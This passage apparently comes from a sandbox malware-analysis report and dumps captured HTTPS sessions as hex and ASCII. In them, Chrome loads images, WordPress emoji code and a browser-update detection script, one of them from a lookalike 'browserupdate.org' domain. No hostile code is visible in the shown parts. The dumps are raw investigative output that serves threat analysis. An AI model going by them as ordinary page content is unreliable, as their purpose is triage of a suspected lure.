8e 80 1f b5 5e bf f3 Data Ascii: w9b!#RY5$0ezoT\|M?xX#6h%ikFsn<>e8O$$8!<_rczR.)r2[eq+1MxC;zR}C>m#eJ=fXpNDXzir^Xx~Lhd)3V{HmE6T^
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: f1 64 a5 a9 6b 0b 18 24 b5 17 b2 e2 b6 c2 bc c5 e6 68 c4 4e 39 50 11 80 95 0f 32 d6 fc d4 d2 d4 72 df 70 df 3c a0 cd b4 45 87 6a 1a 9b 4e 92 46 e7 92 b8 2a c0 f8 1c a8 c9 98 8b c7 ee 62 f4 6e 65 8b fd f6 ec a3 e8 34 cc e8 9b 16 d0 42 98 a6 49 0d 50 f6 c0 aa a9 15 41 3d c7 40 7a 61 0c 4c 9f ff d4 e7 89 02 ac ac 5c fe f4 fd 90 7b 0f 6c d2 90 ec 02 f8 d8 a4 85 d5 ca a1 f8 65 0a 01 ac 67 ed 28 07 63 94 e6 c5 c7 1a ad ff 00 87 fa cc e1 3a 36 86 bb b2 6b 16 30 4c e5 e1 d9 ad a5 0d 56 78 cf f7 64 9f 16 51 5f f5 b9 66 36 9b 38 91 e5 cf d3 38 ff 00 4b f8 bf d9 36 64 81 03 fd ca 84 b3 c9 6d 24 3a 84 67 83 db 90 93 30 fe 42 d5 57 ff 00 60 d4 3f ea e4 e5 8a ef 19 fe 2f a7 f1 fd 38 fa 7f ac 8e 3e 52 ee 4e 75 07 e6 d1 5c c4 42 c7 74 0b 04 1b d1 c6 d2 2f d0 d9 2d 06 4b Data Ascii: dk$hN9P2rp<EjNF*bne4BIPA=@zaL\{leg(c:6k0LVxdQ_f688K6dm$:g0BW`?/8>RNu\Bt/-K
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: 00 00 2c 52 65 66 65 72 65 6e 63 65 20 56 69 65 77 69 6e 67 20 43 6f 6e 64 69 74 69 6f 6e 20 69 6e 20 49 45 43 36 31 39 36 36 2d 32 2e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 69 65 77 00 00 00 00 00 13 a4 fe 00 14 5f 2e 00 10 cf 14 00 03 ed cc 00 04 13 0b 00 03 5c 9e 00 00 00 01 58 59 5a 20 00 00 00 00 00 4c 09 56 00 50 00 00 00 57 1f e7 6d 65 61 73 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8f 00 00 00 02 73 69 67 20 00 00 00 00 43 52 54 20 63 75 72 76 00 00 00 00 00 00 04 00 00 00 00 05 00 0a 00 0f 00 14 00 19 00 1e 00 23 00 28 00 2d 00 32 00 37 00 3b 00 40 00 45 00 4a 00 4f 00 54 00 59 00 5e 00 63 00 68 00 6d 00 72 00 77 00 7c 00 81 00 86 00 8b 00 90 00 95 00 9a 00 9f 00 Data Ascii: ,Reference Viewing Condition in IEC61966-2.1view_.\XYZ LVPWmeassig CRT curv#(-27;@EJOTY^chmrw\|
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: 72 65 65 6e 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c 2f 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 47 72 65 65 6e 3e 0d 0a 09 09 09 3c 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 42 6c 75 65 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c Data Ascii: reen><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq></crs:ToneCurvePV2012Green><crs:ToneCurvePV2012Blue><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq><
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: 70 49 ec 0e 00 c5 79 4f 8f fc 2c de 1c f1 6a 47 34 6c d6 f7 0c 1d 59 06 ed c8 7b 0c fa 7f 9e b5 f7 99 0e 22 18 8a 32 c3 d4 fe bb 9f 2d 9c 53 9c 2b 2a b0 db bf 9f 43 ba ba fd b1 b5 0b 0f 08 da db db 59 db c3 24 29 b1 e2 48 c2 ab 80 00 3c 75 e7 19 ce 7a d7 d2 df b3 b6 a5 a8 f8 af f6 5a 5f 14 db 5e ad ae af e1 8b d5 b9 8a 54 90 ac ae 8c 5b cc 8c 73 ce 53 38 1e 8b ef 5f 3a c3 fb 36 df 7e d1 be 19 d6 3c 61 6f 79 e1 cd 16 1d 11 0c 50 d8 c5 fb b9 af 9a 35 dd f2 c4 38 5c 8f a6 4f 41 c5 7d 25 fb 19 fc 26 d3 6d 3f 66 8d 67 59 bc fb 55 c3 c7 01 02 2f 3f 2b 1b 3a 95 56 d9 d0 60 67 9e b5 ef 78 71 c1 f8 2c 0e 6d 2a b8 58 2d 9d a5 d7 56 7c f7 1c 67 53 a9 94 ce 8d 69 eb a5 d5 fc ae 8f 88 7f 68 4d 75 7c 61 e2 6b db ed d2 2a cd 23 1f 94 76 3c 72 3f 03 5c 4f c3 0f 11 c9 e1 Data Ascii: pIyO,jG4lY{"2-S+CY$)H<uzZ_^T[sS8_:6~<aoyP58\OA}%&m?fgYU/?+:V`gxq,mX-V\|gSihMu\|ak*#v<r?\O
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: 90 c7 b5 a5 da 0e 39 c9 cf 24 8f 70 a2 a6 d2 7c 67 1d cc 1e 6d 9c 77 1a a5 e3 4b 10 89 59 70 90 b6 d2 70 4e 31 dc f4 39 c0 15 cd eb 1a 6d fc 9e 3d 86 6b e7 da 9a 8c 6d 12 08 dc a8 2c 4e 42 fc bc 75 18 27 1d 0f b5 2f 66 f9 5c 64 6c e6 93 56 3b 4b 1f 1c 49 a2 c8 b1 69 f6 73 5d bd d4 5b 6e 25 6d a3 cc 45 0a 48 58 cb 1f e2 c1 c9 1d b8 ae 46 d4 f8 8b 5c f2 b5 05 5b cb a6 d3 64 dc 1a 24 ca c3 82 54 e1 7a f2 30 3d 07 bd 77 16 5a 5c 7a 3c cb e4 e7 16 fb 58 9f bc 41 19 e0 1e fd bb f6 ae 67 52 f8 9f ab 7c 04 f1 05 d5 c6 97 79 0c 2d 23 32 c8 93 c7 b9 2e 11 81 20 11 c6 47 2d c7 5c d7 cf d6 ca 30 b5 2b 3a d2 8e b2 56 6f bd 97 f4 8b ab 8c ad 08 f2 c5 ed d0 fa 73 c2 3e 35 8f c6 5e 0a d1 35 ed 3e e9 3c c4 d9 1c aa 17 6b 26 31 95 fc 33 d3 9e 2b d1 be 29 68 b1 f8 db e1 a4 Data Ascii: 9$p\|gmwKYppN19m=km,NBu'/f\dlV;KIis][n%mEHXF\[d$Tz0=wZ\z<XAgR\|y-#2. G-\0+:Vos>5^5><k&13+)h
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: 09 24 f4 1b 47 e2 29 c9 25 25 e6 89 d7 91 df a3 33 7e 2d 5f 79 be 19 fb 6e ef 39 2c 6f a2 74 40 e7 84 50 54 9c fd 07 3c f6 ae ca e2 ea cf c4 1a 04 f0 c7 35 95 c3 6a 50 8c b2 e3 72 09 14 67 e5 ec 72 7d b0 05 47 e2 dd 0e cf c5 1e 11 b9 b2 6b 68 d2 4b 88 98 6e 8d 36 8d e7 93 d0 75 00 11 ff 00 eb ac 9f 87 1a 45 8e bd f0 f2 c2 e3 6a ad d5 bc be 54 bb 5b ca da 54 61 77 63 9c 13 91 9e 99 04 57 3b b3 82 7d 99 a7 33 e6 b7 74 53 f8 3d 3f da 7c 29 6e 92 36 d4 d3 2f 25 8a 6c 90 1d ce 41 51 b7 fb b8 61 f8 9a 8e cc b5 b7 c5 ed 4d 63 0d 02 ea 71 2c 81 66 6d db 0e 46 7e a4 80 7f 3a a3 e1 9d 01 74 8f 1e eb b6 1f 6c 99 63 9b 65 c2 2b c9 f7 51 89 dc 4f 40 73 b3 93 e8 a3 da b1 7e 23 db cf a5 78 c3 46 be 8e e9 d5 a4 bb 58 30 54 ed 50 d9 1f 2e ef 75 ef ed 5d 51 85 e6 f5 dd 7f Data Ascii: $G)%%3~-_yn9,ot@PT<5jPrgr}GkhKn6uEjT[TawcW;}3tS=?\|)n6/%lAQaMcq,fmF~:tlce+QO@s~#xFX0TP.u]Q
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: db 3f 81 a8 cd fb 4a 16 e3 74 6d b4 16 d8 73 dc 00 47 1d ff 00 01 57 d0 ce 5a 31 ef 70 25 6c c9 1c 6d 14 89 fb ff 00 93 69 5c e7 07 3f 5c fe 54 f9 9a 28 d5 06 e2 92 23 a6 1d c9 03 e6 f9 79 ec 08 c0 1d 79 aa b3 4a d0 dc 96 c4 bb 26 4d aa aa bb ba e7 be 3f 3a 92 d1 26 36 e9 25 d4 9e 4a ee 2a 55 4e 37 15 e9 81 cf b1 cd 50 d4 ba 12 34 ec f9 8d d5 44 6c dc 29 51 f3 8e ad 8e de 9e fd 69 b0 4f 19 91 e4 93 74 31 46 c0 9f dd 92 ac 3b 74 f5 e4 54 77 1f 35 d2 da b2 4c 55 8f 0d 21 01 54 7a 93 eb ed e8 2a 24 9b 65 d4 38 91 de 39 b6 bc 8f 9f 95 8f 7e 3a 60 7d 6a d4 48 94 b5 2d c7 e6 4a 7c 9e 5b 63 31 c4 4c 78 e9 9c 7b 63 18 fa f5 a2 69 9a dc 47 e6 15 8d d1 72 09 1d c1 db 90 0f 53 8e e7 f0 aa b6 f3 2b da c8 77 bd bc 21 b2 c1 9b a8 3d 1b f9 7b 55 7b c6 f2 ae 14 c8 a5 4b Data Ascii: ?JtmsGWZ1p%lmi\?\T(#yyJ&M?:&6%JUN7P4Dl)QiOt1F;tTw5LU!Tz$e89~:`}jH-J\|[c1Lx{ciGrS+w!={U{K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49800	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:20 UTC	556	OUT	GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause
2024-10-07 12:10:20 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 03 May 2024 21:06:15 GMT Accept-Ranges: bytes Content-Length: 18726 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:20 UTC	7923	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 67 68 2f 6a 64 65 63 6b 65 64 2f 74 77 65 6d 6f 6a 69 40 31 35 2e 30 2e 33 2f 61 73 73 65 74 73 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:funct
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 63 5c 75 64 66 66 65 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 64 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 65 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 Data Ascii: ud83c[\udffb\udffc\udffe\udfff]\|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]\|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]\|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68\|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud8
2024-10-07 12:10:20 UTC	2803	IN	Data Raw: 28 29 7b 76 61 72 20 6e 2c 75 2c 65 3d 63 2e 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 57 65 62 4b 69 74 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 4d 6f 7a 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 2c 61 3d 63 2e 64 6f 63 75 6d 65 6e 74 2c 74 3d 21 31 2c 72 3d 30 2c 6f 3d 30 3c 63 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 Data Ascii: (){var n,u,e=c.MutationObserver\|\|c.WebKitMutationObserver\|\|c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49802	172.67.69.206	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:20 UTC	602	OUT	GET /static/img/small/c.png HTTP/1.1 Host: browser-update.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:20 UTC	671	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:20 GMT Content-Type: image/png Content-Length: 787 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=c.png last-modified: Sun, 21 Mar 2021 12:19:17 GMT CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Pt56G8dFKDemRqfRHafKYwOUqd8aZaaXyADWKJ8GF8SSvRYAONPpryRIq5310xLIVM0h5PMggxIskU3htADcmEnifPBT3BxirAsvelxvCTcCa%2BV7TTtJ6hI7sX1LeVWzJ4GoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cedc995ec2b43b6-EWR
2024-10-07 12:10:20 UTC	698	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 01 ad 50 4c 54 45 00 00 00 45 bc 4a fd d2 08 ef 68 57 ef 67 57 37 8b 40 ee 61 51 eb b8 1b 37 a9 46 39 8d 41 ec 5e 50 ec 5e 50 fc d2 09 fc d2 09 ff bd 15 7a a0 34 42 a3 45 46 aa 46 e8 b1 20 1c 88 47 40 9d 44 49 af 47 e7 b3 1e fa cf 0a ea 52 47 ff ef 01 e2 ae 23 e2 ae 22 ec bc 19 ea 51 47 ef 67 56 3d 97 42 e2 27 46 38 89 41 4c b6 48 39 90 41 ec 5b 4e c5 55 3e 37 89 41 f0 b8 15 ed 64 54 ee 63 53 e9 51 47 fd d3 09 ff d2 01 ec 5c 4f e4 2a 47 40 9d 44 3c 96 42 3e 81 b6 42 a2 44 3f 9a 44 3a 91 41 e7 47 40 f7 c7 0f 54 91 c2 44 71 be 00 4e a1 0b 5d 9a f1 8f 8b 85 c9 73 ec 5d 4f 33 ce 4e 47 ab 46 2d a4 2d 2c 9e 2b ea 77 24 ea 76 23 e9 b8 1c ea 25 1c fd d4 07 fe Data Ascii: PNGIHDR(-SPLTEEJhWgW7@aQ7F9A^P^Pz4BEFF G@DIGRG#"QGgV=B'F8ALH9A[NU>7AdTcSQG\O*G@D<B>BD?D:AG@TDqN]s]O3NGF--,+w$v#%
2024-10-07 12:10:20 UTC	89	IN	Data Raw: 8c f5 8b 1c 6d 12 e3 6d fa 74 b4 bb cd d8 19 18 94 4d 80 42 35 0e 65 3d 9e 9d 66 ed 32 20 a7 b2 9a 18 18 e8 67 97 ea 98 b5 b9 88 41 3c a3 c8 69 52 90 d3 d4 e5 d2 28 0d f3 ae 1a ab 30 3f 9f 90 14 3b 88 0d 00 48 2f 34 ff 10 a6 ea 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: mmtMB5e=f2 gA<iR(0?;H/4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49806	104.21.7.183	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:21 UTC	354	OUT	GET /update.min.js HTTP/1.1 Host: browserupdate.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:21 UTC	755	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:21 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 9354 Connection: close Cache-Control: max-age=86400 Content-Disposition: inline; filename=update.min.js Expires: Tue, 08 Oct 2024 10:33:46 GMT Last-Modified: Sun, 29 Sep 2024 17:05:39 GMT CF-Cache-Status: HIT Age: 5794 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gIs7htLZPibVYhgsfbIZAeCq%2BlF22Wyuc6ijL94JtZIDdMPVi41OKnr%2BNhtEWYnbq9xwnDTOasqQBcsHbX2QRHam6anIAqVZkwG3AvgRNHdo1iXzZUi7SSfAB3zAX94IiN%2B2cg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cedc99abd8f430d-EWR
2024-10-07 12:10:21 UTC	614	IN	Data Raw: 2f 2f 28 63 29 32 30 32 31 2c 20 4d 49 54 20 53 74 79 6c 65 20 4c 69 63 65 6e 73 65 20 3c 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 4c 49 43 45 4e 53 45 2e 74 78 74 3e 0d 0a 2f 2f 69 74 20 69 73 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 74 6f 20 64 69 72 65 63 74 6c 79 20 6c 69 6e 6b 20 74 6f 20 74 68 69 73 20 66 69 6c 65 20 62 65 63 61 75 73 65 20 77 65 20 75 70 64 61 74 65 20 74 68 65 20 64 65 74 65 63 74 69 6f 6e 20 63 6f 64 65 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 5f 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 3d 74 68 69 73 3b 74 68 69 73 2e 76 65 72 73 69 6f 6e 3d 22 33 2e 33 2e 35 34 22 3b 74 68 69 73 2e 76 73 61 6b 74 3d 7b 63 3a 22 31 32 38 22 2c 66 3a 22 31 33 30 22 2c 73 3a 22 31 37 2e Data Ascii: //(c)2021, MIT Style License <browser-update.org/LICENSE.txt>//it is recommended to directly link to this file because we update the detection code"use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 27 53 61 66 61 72 69 27 2c 65 3a 22 45 64 67 65 22 2c 69 3a 27 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 27 2c 69 6f 73 3a 22 69 4f 53 22 2c 73 61 6d 73 75 6e 67 3a 22 53 61 6d 73 75 6e 67 20 49 6e 74 65 72 6e 65 74 22 2c 6f 3a 27 4f 70 65 72 61 27 2c 6f 5f 61 3a 27 4f 70 65 72 61 27 2c 65 5f 61 3a 22 45 64 67 65 22 2c 79 3a 22 59 61 6e 64 65 78 20 42 72 6f 77 73 65 72 22 2c 76 3a 22 56 69 76 61 6c 64 69 22 2c 75 63 3a 22 55 43 20 42 72 6f 77 73 65 72 22 2c 61 3a 22 41 6e 64 72 6f 69 64 20 42 72 6f 77 73 65 72 22 2c 78 3a 22 4f 74 68 65 72 22 2c 73 69 6c 6b 3a 22 53 69 6c 6b 22 7d 3b 74 68 69 73 2e 67 65 74 5f 62 72 6f 77 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 75 61 29 7b 76 61 72 20 6e 2c 75 61 3d 28 75 61 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 Data Ascii: 'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navigator.u
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 7c 74 69 7a 65 6e 7c 73 69 6c 6b 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 62 31 30 7c 52 49 4d 7c 50 6c 61 79 42 6f 6f 6b 7c 6d 65 65 67 6f 7c 6e 6f 6b 69 61 7c 75 63 77 65 62 7c 5a 75 6e 65 57 50 37 7c 35 33 37 2e 38 35 2e 31 30 22 29 3b 72 2e 65 6d 62 65 64 64 65 64 3d 2f 22 51 74 57 65 62 45 6e 67 69 6e 65 7c 54 65 61 6d 73 7c 45 6c 65 63 74 72 6f 6e 2f 69 2e 74 65 73 74 28 75 61 29 3b 72 2e 6d 6f 62 69 6c 65 3d 28 2f 69 70 68 6f 6e 65 7c 69 70 6f 64 7c 69 70 61 64 7c 61 6e 64 72 6f 69 64 7c 6d 6f 62 69 6c 65 7c 70 68 6f 6e 65 7c 69 6f 73 7c 69 65 6d 6f 62 69 6c 65 2f 69 2e 74 65 73 74 28 75 61 29 29 3b 72 2e 64 69 73 63 6f 6e 74 69 6e 75 65 64 3d 28 2f 6e 65 74 73 63 61 70 65 7c 67 72 65 65 6e 62 72 6f 77 73 65 72 7c 63 61 6d 69 6e 6f 7c 66 6c 6f 74 7c Data Ascii: \|tizen\|silk\|blackberry\|bb10\|RIM\|PlayBook\|meego\|nokia\|ucweb\|ZuneWP7\|537.85.10");r.embedded=/"QtWebEngine\|Teams\|Electron/i.test(ua);r.mobile=(/iphone\|ipod\|ipad\|android\|mobile\|phone\|ios\|iemobile/i.test(ua));r.discontinued=(/netscape\|greenbrowser\|camino\|flot\|
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 75 61 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 4f 53 2e 22 2b 56 56 2c 22 69 22 29 29 3b 72 2e 6e 3d 22 69 6f 73 22 3b 72 2e 66 75 6c 6c 76 3d 52 65 67 45 78 70 2e 24 31 3b 72 2e 76 3d 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 66 75 6c 6c 76 29 3b 72 2e 65 6e 67 69 6e 65 3d 27 69 6f 73 27 3b 76 61 72 20 61 76 3d 73 2e 61 76 61 69 6c 61 62 6c 65 5f 69 6f 73 28 75 61 2c 72 2e 76 29 3b 69 66 28 61 76 3c 31 32 26 26 4d 61 74 68 2e 72 6f 75 6e 64 28 72 2e 76 29 3d 3d 3d 31 31 29 61 76 3d 31 32 3b 72 2e 61 76 61 69 6c 61 62 6c 65 3d 7b 22 69 6f 73 22 3a 61 76 7d 3b 69 66 28 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 61 76 61 69 6c 61 62 6c 65 2e 69 6f 73 29 3c 31 35 29 72 2e 6e 6f 5f 64 65 76 69 63 65 5f 75 70 64 61 74 65 3d 74 72 75 65 3b 7d 69 66 28 Data Ascii: ua.match(new RegExp("OS."+VV,"i"));r.n="ios";r.fullv=RegExp.$1;r.v=parseFloat(r.fullv);r.engine='ios';var av=s.available_ios(ua,r.v);if(av<12&&Math.round(r.v)===11)av=12;r.available={"ios":av};if(parseFloat(r.available.ios)<15)r.no_device_update=true;}if(
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 3b 7d 69 66 28 72 2e 6e 20 69 6e 20 5b 22 63 22 2c 22 66 22 2c 22 6f 22 2c 22 65 22 5d 26 26 73 2e 6c 65 73 73 28 72 2e 66 75 6c 6c 76 2c 70 61 72 73 65 46 6c 6f 61 74 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 29 2d 31 29 3c 3d 30 29 72 2e 69 73 5f 73 75 70 70 6f 72 74 65 64 3d 74 72 75 65 3b 76 61 72 20 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 3d 7b 27 66 27 3a 37 2c 27 63 27 3a 38 2c 27 6f 27 3a 38 2c 27 69 27 3a 31 2c 27 65 27 3a 31 2c 27 73 27 3a 31 7d 3b 69 66 28 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 72 2e 61 67 65 5f 79 65 61 72 73 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 28 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 2d 72 2e 76 29 2f 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 2a 31 30 29 2f 31 Data Ascii: ;}if(r.n in ["c","f","o","e"]&&s.less(r.fullv,parseFloat(s.vsakt[r.n])-1)<=0)r.is_supported=true;var releases_per_year={'f':7,'c':8,'o':8,'i':1,'e':1,'s':1};if(releases_per_year[r.n])r.age_years=Math.round(((s.vsakt[r.n]-r.v)/releases_per_year[r.n])*10)/1
